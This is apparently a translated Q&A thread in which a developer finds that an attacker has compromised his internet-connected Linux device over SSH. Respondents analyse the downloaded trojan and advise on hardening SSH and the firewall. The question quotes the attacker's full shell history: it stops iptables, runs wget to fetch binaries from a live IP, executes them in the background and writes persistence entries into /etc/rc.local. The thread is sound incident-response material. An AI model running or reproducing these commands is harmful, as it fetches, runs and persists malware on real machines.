Estou desenvolvendo um produto de consumo e ele deve estar conectado à Internet; portanto, como esperado, ele está conectado à Internet para que eu possa desenvolvê-lo adequadamente.
Fiquei uma hora ou duas e, quando voltei ao meu escritório, notei alguns comandos estranhos escritos no terminal.
Observando o arquivo de log do Linux chamado auth.log, posso ver as seguintes linhas (entre muitas outras):
Feb 1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162 user=root
Feb 1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb 1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]
O endereço IP 40.127.205.162acaba sendo de propriedade da Microsoft .
Aqui estão alguns comandos que foram usados enquanto eu estava fora:
355 service iptables stop
356 cd /tmp
357 wget http://222.186.30.209:65534/yjz1
358 chmod 0755 /tmp/yjz1
359 nohup /tmp/yjz1 > /dev/null 2>&1 &
360 chmod 777 yjz1
361 ./yjz1
362 chmod 0755 /tmp/yjz1
363 nohup /tmp/yjz1 > /dev/null 2>&1 &
364 chmod 0777 yjz1
365 chmod u+x yjz1
366 ./yjz1 &
367 chmod u+x yjz1
368 ./yjz1 &
369 wget http://222.186.30.209:65534/yjz
370 chmod 0755 /tmp/yjz
371 nohup /tmp/yjz > /dev/null 2>&1 &
372 chmod 777 yjz
373 ./yjz
374 chmod 0755 /tmp/yjz
375 nohup /tmp/yjz > /dev/null 2>&1 &
376 chmod u+x yjz
377 ./yjz &
378 chmod u+x yjz
379 ./yjz &
380 cd /tmp
381 echo "cd /tmp/">>/etc/rc.local
382 service iptables stop
383 cd /tmp
384 wget http://222.186.30.209:65534/yjz1
385 chmod 0755 /tmp/yjz1
386 nohup /tmp/yjz1 > /dev/null 2>&1 &
387 chmod 777 yjz1
388 ./yjz1
389 chmod 0755 /tmp/yjz1
390 nohup /tmp/yjz1 > /dev/null 2>&1 &
391 chmod u+x yjz1
392 ./yjz1 &
393 chmod 0777 yjz1
394 ./yjz1 &
395 echo "cd /tmp/">>/etc/rc.local
396 service iptables stop
397 wget http://222.186.30.209:65534/yjz1
398 chmod 0755 /root/yjz1
399 nohup /root/yjz1 > /dev/null 2>&1 &
400 chmod 777 yjz1
401 ./yjz1
402 chmod 0755 /root/yjz1
403 nohup /root/yjz1 > /dev/null 2>&1 &
404 chmod u+x yjz1
405 ./yjz1 &
406 chmod 0777 yjz1
407 ./yjz1 &
408 echo "cd /root/">>/etc/rc.local
409 cd /tmp
410 service iptables stop
411 wget http://222.186.30.209:65534/yjz1
412 chmod 0755 /tmp/yjz1
413 nohup /tmp/yjz1 > /dev/null 2>&1 &
414 chmod 777 yjz1
415 ./yjz1 &
416 cd /etc
417 echo "cd /root/">>/etc/rc.local
418 echo "./yjz1&">>/etc/rc.local
419 echo "./yjz1&">>/etc/rc.local
420 echo "/etc/init.d/iptables stop">>/etc/rc.local
421 cd /tmp
422 service iptables stop
423 wget http://222.186.30.209:65534/yjz1
424 chmod 0755 /tmp/yjz1
425 nohup /tmp/yjz1 > /dev/null 2>&1 &
426 chmod 777 yjz1
427 ./yjz1 &
428 cd /etc
429 echo "cd /root/">>/etc/rc.local
430 echo "./yjz1&">>/etc/rc.local
431 echo "./yjz1&">>/etc/rc.local
432 echo "/etc/init.d/iptables stop">>/etc/rc.local
433 cd /tmp
434 service iptables stop
435 wget http://222.186.30.209:65534/yjz1
436 chmod 0755 /tmp/yjz1
437 nohup /tmp/yjz1 > /dev/null 2>&1 &
438 chmod 777 yjz1
439 ./yjz1 &
440 cd /etc
441 echo "cd /root/">>/etc/rc.local
442 echo "./yjz1&">>/etc/rc.local
443 echo "./yjz1&">>/etc/rc.local
444 echo "/etc/init.d/iptables stop">>/etc/rc.local
445 service iptables stop
446 wget http://222.186.30.209:65534/yjz1
447 chmod 0755 /root/yjz1
448 nohup /root/yjz1 > /dev/null 2>&1 &
449 chmod 777 yjz1
450 ./yjz1
451 chmod 0755 /root/yjz1
452 nohup /root/yjz1 > /dev/null 2>&1 &
453 chmod 0777 yjz1
454 chmod u+x yjz1
455 ./yjz1 &
456 chmod u+x yjz1
457 ./yjz1 &
E mais:
481 service iptables stop
482 wget http://222.186.30.209:65534/yjz1
483 chmod 0755 /root/yjz1
484 nohup /root/yjz1 > /dev/null 2>&1 &
485 chmod 777 yjz1
486 ./yjz1
487 chmod 0755 /root/yjz1
488 nohup /root/yjz1 > /dev/null 2>&1 &
489 chmod 0777 yjz1
490 chmod u+x yjz1
491 ./yjz1 &
492 chmod u+x yjz1
493 ./yjz1 &
494 cd /tmp
495 service iptables stop
496 wget http://175.102.133.55:2/yjz
497 ./yd_cd/make
498 service iptables stop
499 service iptables stop
500 wget http://222.186.30.209:65534/yjz1
Eu não tinha consciência disso. Como posso proteger meu produto corretamente?
Gostaria de publicar o auth.logarquivo completo . Como faço isso?
Além disso, o arquivo yjz1baixado parece ser um Trojan do Linux e tudo isso parece ter sido feito por algum tipo de grupo de hackers, de acordo com http://anti-hacker-alliance.com/index.php?ip=40.127.205.162
Devo ligar para a Microsoft e conversar com eles? O que devo fazer?
fonte
Respostas:
EDIT 2 :
Há uma boa razão para essa postagem atrair tanta atenção: você conseguiu gravar a sessão ao vivo inteira de um invasor no seu PC. Isso é muito diferente da nossa experiência cotidiana, onde lidamos com a descoberta das consequências de suas ações e tentamos corrigi-las. Aqui nós o vemos no trabalho, vemos ele tendo alguns problemas com o estabelecimento da porta dos fundos, refaz seus passos, trabalha febrilmente (talvez porque ele estivesse sentado em sua mesa, como sugerido acima, ou talvez, e na minha opinião mais provável, porque ele estava incapaz de executar o malware no sistema, leia abaixo) e tente implantar instrumentos de controle totalmente independentes. É isso que os pesquisadores de segurança testemunham diariamente com suas armadilhas de mel . Para mim, essa é uma chance muito rara, e a fonte de alguma diversão.
Você definitivamente foi hackeado. A evidência para isso não vem do snippet do
auth.logarquivo que você exibiu, porque isso relata uma tentativa malsucedida de login, ocorrendo em um curto espaço de tempo (dois segundos). Você notará que a segunda linha indicaFailed password, enquanto a terceira relata umapre-authdesconexão: o cara tentou e falhou.A evidência vem do conteúdo dos dois arquivos
http://222.186.30.209:65534/yjzehttp://222.186.30.209:65534/yjz1que o invasor baixou no seu sistema.Atualmente, o site está aberto a qualquer pessoa para fazer o download, o que eu fiz. Eu os corri
filepela primeira vez , o que mostrou:Então eu os trouxe para uma VM Debian de 64 bits que eu tenho; uma análise do conteúdo por meio do
stringscomando revelou muita coisa suspeita (referência a vários ataques conhecidos, a comandos a serem substituídos, um script que foi claramente usado para configurar um novo serviço etc.).Em seguida, produzi os hashes MD5 dos dois arquivos e os alimentei no banco de dados de hash do Cymru para ver se eles são agentes conhecidos de malware. Enquanto
yjznão é,yjz1é, e Cymru relata uma probabilidade de detecção por software antivírus de 58%. Ele também afirma que esse arquivo foi visto pela última vez há três dias, por isso é razoavelmente recente.Executando o clamscan (parte do
clamavpacote) nos dois arquivos que obtive:então agora estamos certos de que o software Linux padrão pode identificá-lo.
O que você deveria fazer?
Embora bastante novo, nenhum dos sistemas é muito novo, veja este artigo de janeiro de 2015 sobre o XorDdos , por exemplo. Portanto, a maioria dos pacotes gratuitos deve poder removê-lo. Você deve tentar:
clamav,rkhunter,chkrootkit. Eu pesquisei no Google e vi que eles afirmam ser capazes de identificá-lo. Use-os para verificar o trabalho do antecessor, mas depois de executar esses três programas, você deve estar pronto para começar.Quanto à questão maior,
what should you do to prevent future infectionsa resposta de Journeyman é um bom primeiro passo. Lembre-se de que é uma luta contínua, que todos nós (inclusive eu!) Podemos muito bem ter perdido sem sequer saber.EDIT :
No prompt (indireto) de Viktor Toth, gostaria de acrescentar alguns comentários. Certamente é verdade que o invasor encontrou algumas dificuldades: ele baixa duas ferramentas de hackers distintas, altera suas permissões várias vezes, as reinicia várias vezes e tenta várias vezes desativar o firewall. É fácil adivinhar o que está acontecendo: ele espera que suas ferramentas de hackers abram um canal de comunicação em direção a um de seus computadores infectados (veja mais adiante) e, quando ele não vê esse novo canal surgir na sua GUI de controle, teme que os hackers Como a ferramenta está sendo bloqueada pelo firewall, ele repete o procedimento de instalação. Concordo com Viktor Toth que esse estágio específico de sua operação não parece trazer os frutos esperados, mas eu gostaria de encorajá-lo muito para não subestimar a extensão dos danos infligidos no seu PC.
Eu forneço aqui uma saída parcial de
strings yjz1:Isso fornece evidências de adulteração dos serviços (in
/etc/init.de in/etc/rc.d), comcrontab, com o arquivo de histórico demysqle alguns arquivos nosprocquais há linksbash(o que sugere que uma versão fraudulenta personalizada do seu shell foi plantada). Em seguida, o programa gera uma solicitação HTTP (para um site de língua chinesa,que dá substância ao comentário de David Schwartz acima), o que pode criar ainda mais estragos. Na solicitação, os binários (
Content-Type: application/x-www-form-urlencoded) devem ser baixados no PC atacado (GET) e carregados na máquina controladora (POST). Não consegui estabelecer o que seria baixado para o PC atacado, mas, dado o tamanho pequeno de ambosyjzeyjz1(1,1MB e 600kB, respectivamente), posso me aventurar a supor que a maioria dos arquivos necessários para ocultar o rootkit, ou seja , a alteração versões dels,netstat,ps,ifconfig, ..., seria baixado desta forma. E isso explicaria as tentativas febris do invasor de obter esse download.Não há certeza de que o exposto acima esgote todas as possibilidades: certamente não temos parte da transcrição (entre as linhas 457 e 481) e não vemos um logout; além disso, especialmente preocupantes são as linhas 495-497,
que se referem a um arquivo que não vimos baixado e que pode ser uma compilação: se assim for, significa que o invasor (finalmente?) entendeu qual era o problema com seus executáveis e está tentando corrigi-lo. Nesse caso, o pc atacado foi para sempre. [De fato, as duas versões do malware que o invasor baixou na máquina invadida (e eu na minha VM Debian de 64 bits) são para uma arquitetura inadequada, x86, enquanto o nome do PC invadido revela o fato de que ele estava lidando com uma arquitetura de braço].
A razão pela qual escrevi esta edição é instar o mais fortemente possível a pentear seu sistema com um instrumento profissional ou a reinstalá-lo do zero.
E, a propósito, se isso for útil a qualquer pessoa, esta é a lista dos 331 endereços IP aos quais as
yjztentativas de conexão. Essa lista é tão grande (e provavelmente está destinada a aumentar ainda mais) que acredito que esse seja o motivo de adulteraçãomysql. A lista fornecida pelo outro backdoor é idêntica, o que, presumo, é o motivo para deixar uma informação tão importante em aberto ( acho que o invasor não desejou fazer um esforço para armazená-las no formato do kernel, portanto, ele colocou a lista inteira em um arquivo de texto não criptografado, que provavelmente é lido por todas as suas backdoors, para qualquer sistema operacional):O código a seguir
na lista acima, mostra que 302 de um total de 331 endereços estão na China continental, os demais estão em Hong Kong, Mongólia, Taiwan. Isso adiciona mais suporte à afirmação de David Schwartz de que este é principalmente um anel bot chinês.
EDIT 3
A pedido do @ vaid (o autor do OP, leia seu comentário abaixo), adicionarei um comentário sobre como fortalecer a segurança de um sistema Linux básico (para um sistema que fornece muitos serviços, esse é um tópico muito mais complexo).
vaidafirma que ele fez o seguinte:Isso é bom (exceto que eu uso uma porta acima de 10.000, pois muitos programas úteis usam as portas abaixo de 10.000). Mas não posso enfatizar o suficiente a necessidade de usar chaves criptográficas para login ssh , em vez de senhas. Vou te dar um exemplo pessoal. Em um dos meus VPS, eu não sabia se alteraria a porta ssh; Deixei com 22, mas usei chaves criptográficas para autenticação. Eu tive centenas de tentativas de invasão por dia , nenhuma conseguiu. Quando, cansado de verificar diariamente se ninguém havia conseguido, eu finalmente mudei a porta para algo acima de 10.000, as tentativas de invasão foram zeradas. Veja bem, não é que os hackers sejam estúpidos (eles não são!), Eles apenas caçam presas mais fáceis.
É fácil ativar uma chave de criptografia com o RSA como algoritmo de assinatura, veja o comentário abaixo de Jan Hudec (obrigado!):
Agora tudo o que você precisa fazer é copiar o arquivo
id_rsapara a máquina da qual você deseja se conectar (em um diretório.ssh, tambémchmodeditado para 700) e, em seguida, emitir o comandoQuando tiver certeza de que isso funciona, edite no servidor (= a máquina à qual você deseja se conectar) o arquivo
/etc/ssh/sshd_confige altere a linhapara
e reinicie o
sshserviço (service ssh restartousystemctl restart ssh, ou algo assim, dependendo da distribuição).Isso vai suportar muito. De fato, atualmente não há explorações conhecidas contra as versões atuais
openssh v2do RSA e do empregadoropenssh v2.Por fim, para realmente desligar sua máquina, você precisará configurar o firewall (netfilter / iptables) da seguinte maneira:
Isso, 1) permite conexões ssh da LAN e da WAN, 2) permite toda a entrada originada por suas solicitações (por exemplo, quando você carrega uma página da Web), 3) descarta todo o resto da entrada, 4) permite tudo a saída e 5-6) permite tudo na interface de loopback.
À medida que suas necessidades aumentam e mais portas precisam ser abertas, você pode fazer isso adicionando, no topo da lista, regras como:
para permitir, por exemplo, que pessoas acessem seu navegador da Web.
fonte
yjz1através do Googles VirusTotal.com, que deu um positivo. Eu nem vi queyjztinha sido baixado. Obrigado.stringsdados não confiáveis. lcamtuf.blogspot.com/2014/10/…ls,whoou qualquer outra coisa. "Recuperar dados" usando qualquer executável no sistema comprometido (por exemplo,scpoursync) pode comprometer ainda mais máquinas.Bem-vindo à Internet - onde qualquer servidor SSH aberto provavelmente será examinado, forçado a brutal e terá várias indignidades infligidas a ele.
Para começar, você precisa limpar completamente o armazenamento no produto. Imagine se você deseja transmiti-lo para análise forense, mas a instalação do Linux agora é suspeita.
Pouco de adivinhação, mas
Você foi forçado a usar brutalidade ou usa uma senha comum. É segurança por obscuridade, mas você não deseja uma senha de dicionário ou usar uma conta raiz aberta para SSH. Desative o acesso SSH raiz se for uma opção ou, pelo menos, altere o nome para que eles precisem adivinhar as duas. SSHing como root é uma prática terrível de segurança de qualquer maneira. Se você precisar usar root, efetue login como outro usuário e use su ou sudo para alternar.
Dependendo do produto, você pode querer bloquear o acesso SSH de alguma forma. Um bloqueio total parece uma boa ideia e permite que os usuários o abram conforme necessário . Dependendo dos recursos que você pode poupar, considere permitir apenas endereços IP em sua própria sub-rede ou algum tipo de sistema de limitação de login. Se você não precisar dele no produto final, verifique se está desligado.
Use uma porta não padrão. Segurança por obscuridade novamente, mas significa que um invasor precisa atingir sua porta.
Nunca use uma senha padrão. A melhor abordagem que eu já vi é gerar uma senha aleatoriamente para um dispositivo específico e enviá-la com o seu produto. A melhor prática é a autenticação baseada em chave, mas não tenho idéia de como você abordaria isso em um produto de mercado de massa.
fonte
Oh, você foi definitivamente hackeado. Alguém parece ter conseguido obter credenciais de root e tentou baixar um Trojan para o seu sistema. MariusMatutiae forneceu uma análise da carga útil.
Duas perguntas surgem: a) O atacante teve sucesso? Eb) o que você pode fazer sobre isso?
A resposta para a primeira pergunta pode ser um não. Observe como o atacante tenta repetidamente baixar e executar a carga, aparentemente sem sucesso. Suspeito que algo (SELinux, por acaso?) Atrapalhasse.
NO ENTANTO: O invasor também alterou seu
/etc/rc.d/rc.localarquivo, na esperança de que, quando você reiniciar o sistema, a carga útil seja ativada. Se você ainda não tiver reiniciado o sistema, não reinicie até ter removido estas alterações a partir/etc/rc.d/rc.local. Se você já o reiniciou ... bem, azar.Quanto ao que você pode fazer sobre isso: A coisa mais segura a fazer é limpar o sistema e reinstalar do zero. Mas isso nem sempre pode ser uma opção. Uma coisa significativamente menos segura a fazer é analisar exatamente o que aconteceu e limpar todos os vestígios, se possível. Novamente, se você ainda não reiniciou o sistema, talvez seja necessário apenas limpar
/etc/rc.d/rc.local, remover qualquer coisa baixada pelo invasor e, por último, mas não menos importante, alterar a maldita senha!No entanto, se o invasor já foi capaz de executar a carga, pode haver outras modificações no sistema que podem ser difíceis de detectar. É por isso que uma limpeza completa é realmente a única opção segura (e recomendada). Como você indicou, o equipamento em questão pode ser um objetivo de teste / desenvolvimento, portanto, talvez não seja tão doloroso quanto em outros casos.
Atualização : apesar do que escrevi sobre uma possível recuperação, desejo ecoar a forte recomendação de MariusMatutiae de não subestimar o dano potencial causado por essa carga útil e a extensão em que ela pode ter comprometido o sistema de destino.
fonte
Meu sshd-honeypot também viu esse tipo de ataque. Os primeiros downloads desse URL começaram em 29-01-16 10:25:33 e os ataques ainda estão em andamento. Os ataques são / vinham de
A entrada desses invasores foi:
Portanto, não há outras atividades além de instalar o backdoor para mais tarde.
fonte
Todos aqui ofereceram conselhos sólidos, mas, para ficar claro, suas prioridades devem fazer backup e verificar o que você realmente precisa desse sistema e depois limpá-lo com uma nova instalação da mídia conhecida como segura.
Antes de conectar seu host recém-instalado à Internet, execute estas idéias:
Crie um novo usuário não raiz e efetue login como esse usuário. Você nunca deve fazer login como root, apenas sudo (usuário substituto) quando necessário.
Instale o SE Linux, definições de configuração que permitem o controle de acesso obrigatório: https://wiki.debian.org/SELinux/Setup
Considere um firewall de hardware entre seu escritório / casa e a Internet. Eu uso o MicroTik, que possui excelente suporte da comunidade: http://routerboard.com/ .
Supondo que você esteja em uma linha do tempo para concluir seu trabalho remunerado, pelo menos faça o número 1. O nº 3 é rápido e barato, mas você precisará aguardar o pacote pelo correio ou dirigir até a loja.
fonte
É debian-armhf seu hostname? Ou você usa uma instalação padrão com as configurações padrão? Não há problema com isso, mas você não deve permitir que o host seja diretamente exposto à Internet (ou seja, não protegido pelo seu modem, pelo menos).
Parece que o verdadeiro problema vem do 222.186.30.209 (consulte http://anti-hacker-alliance.com/index.php?ip=222.186.30.209 ). Você não deve prestar muita atenção em ver o IP da Microsoft. Os IPs podem mais ou menos ser falsificados / falsificados com bastante facilidade.
Uma maneira usual de conectar-se à Internet é encaminhar uma lista conhecida de portas do seu IP público (por exemplo, 8.8.8.8) para o seu local (por exemplo, 192.168.1.12).
Por exemplo, não encaminhe todas as conexões de entrada de 8.8.8.8 (público) para 192.168.1.12 (local).
Encaminhar apenas as portas 22 e 25 (ssh e email de entrada, respectivamente). Obviamente, você também deve ter pacotes / bibliotecas ssh e smtp atualizados .
Qual é o próximo? Desconecte o host e altere as senhas (em qualquer computador associado à organização) codificadas em scripts de shell (que vergonha!) Em
/etc/shadow.fonte
Como outros declararam, é bastante claro que a segurança do seu servidor foi comprometida. O mais seguro é limpar esta máquina e reinstalar.
Para responder à segunda parte da sua pergunta, se você não puder usar a autenticação de chave pública, recomendo pelo menos configurar o Fail2Ban e executar o SSH em uma porta não padrão. Também desabilito o acesso SSH raiz.
O Fail2Ban ajudará a atenuar ataques de força bruta ao proibir endereços IP que não logam um certo número de vezes.
Configurar o sshd para escutar em uma porta não padrão ajudará pelo menos a reduzir a visibilidade do seu servidor SSH um pouquinho. Desabilitar o logon raiz também reduz um pouco o perfil de ataque. Em
/etc/sshd_config:Com o login root desabilitado, você precisará mudar para o root
suuma vez conectado, ou (mais preferencialmente) usarsudopara executar comandos privilegiados.fonte
Servidores SSH estão constantemente sob ataque na internet. Algumas coisas que você faz:
Certifique-se de usar uma senha aleatória muito segura, para máquinas acessíveis pela Internet. Quero dizer, com 16 caracteres ou mais e completamente aleatório. Use um gerenciador de senhas para não precisar memorizá-lo. Se você pode memorizar sua senha, é muito simples.
Se você não precisar de SSH, desligue-o. Se você precisar, mas não precisar acessá-lo publicamente, execute-o em um número de porta alto e não padrão. Isso reduzirá drasticamente as tentativas de invasão. Sim, um hacker dedicado pode fazer uma verificação de porta, mas os bots automatizados não a encontrarão.
O snippet do seu log de autenticação mostra uma tentativa com falha. No entanto, se você procurar mais, sem dúvida verá um login bem-sucedido. Se você usa uma senha simples, é trivial para um bot entrar.
Você precisa isolar esta máquina da rede. Com muito cuidado, obtenha o que precisa e limpe-o.
fonte
A primeira coisa que qualquer um / todos deve fazer após configurar um servidor Linux / Unix frontal é desabilitar imediatamente
root.Seu sistema foi comprometido. Você tem um log de histórico de execução que pode ser interessante de analisar até certo ponto. Mas honestamente, dissecar os detalhes é um pouco exigente e não ajuda a proteger seu servidor. Ele mostra todos os tipos de besteiras que acontecem quando os botnet geram malware - que é provavelmente o que infectou seu servidor - infectando um sistema Linux. A resposta fornecida por @MariusMatutiae é agradável e bem pensada, e há outras que repetem que você foi invadido por
rootacesso, que é o sonho de um malware / botnet.Existem algumas explicações sobre como desativar,
rootmas vou declarar por experiência pessoal, quase tudo que vai além do que descreverei no momento é um exagero. Isto é o que você deveria ter feito quando configurou o servidor pela primeira vez:sudodireitos: Crie um novo usuário com um novo nome - algo como -cooldudeusando um comando comosudo adduser cooldudese você estivesse usando o Ubuntu ou outro tipo de sistema Debian. Em seguida, edite manualmente osudoarquivo usando um comando como estesudo nano /etc/sudoerse adicione uma linha comocooldude ALL=(ALL:ALL) ALLabaixo da linha equivalente que deve ser lidaroot ALL=(ALL:ALL) ALL. Feito isso, efetue logincooldudee teste osudocomando com um comando como -sudo walgo básico e não destrutivo - para verificar se ossudodireitos funcionam. Você pode ser solicitado a fornecer uma senha. Isso funciona? Tudo bom! Avance para o próximo passo.rootconta: Ok, agora quecooldudeé responsável pelossudodireitos, faça o login comocooldudee execute este comando para bloquear a conta raizsudo passwd -l root. Se, de alguma forma, você criou um par de chaves SSHroot, abra/root/.ssh/authorized_keyse remova as chaves. Ou, melhor ainda, renomeie esse arquivoauthorized_keys_OFFassim,sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFFpara desativar efetivamente as chaves SSH. Eu prefiro o mais tarde porque, na hipótese de você ainda precisar de menos login com senha, basta mover esse arquivo de volta para o nome original e deve estar pronto.FWIW, eu gerenciei dezenas de servidores Linux ao longo dos anos (décadas?) E sei por experiência que simplesmente desabilitar
root- e configurar um novo usuário comsudodireitos - é a maneira mais simples e básica de proteger qualquer sistema Linux. Eu nunca tive que lidar com qualquer tipo de compromisso via SSH uma vezrootdesativado. E sim, você pode ver tentativas de login viaauth.logmas não fazem sentido; serootestiver desativado, essas tentativas nunca serão suficientes. Apenas sente-se e observe as tentativas fracassarem infinitamente!fonte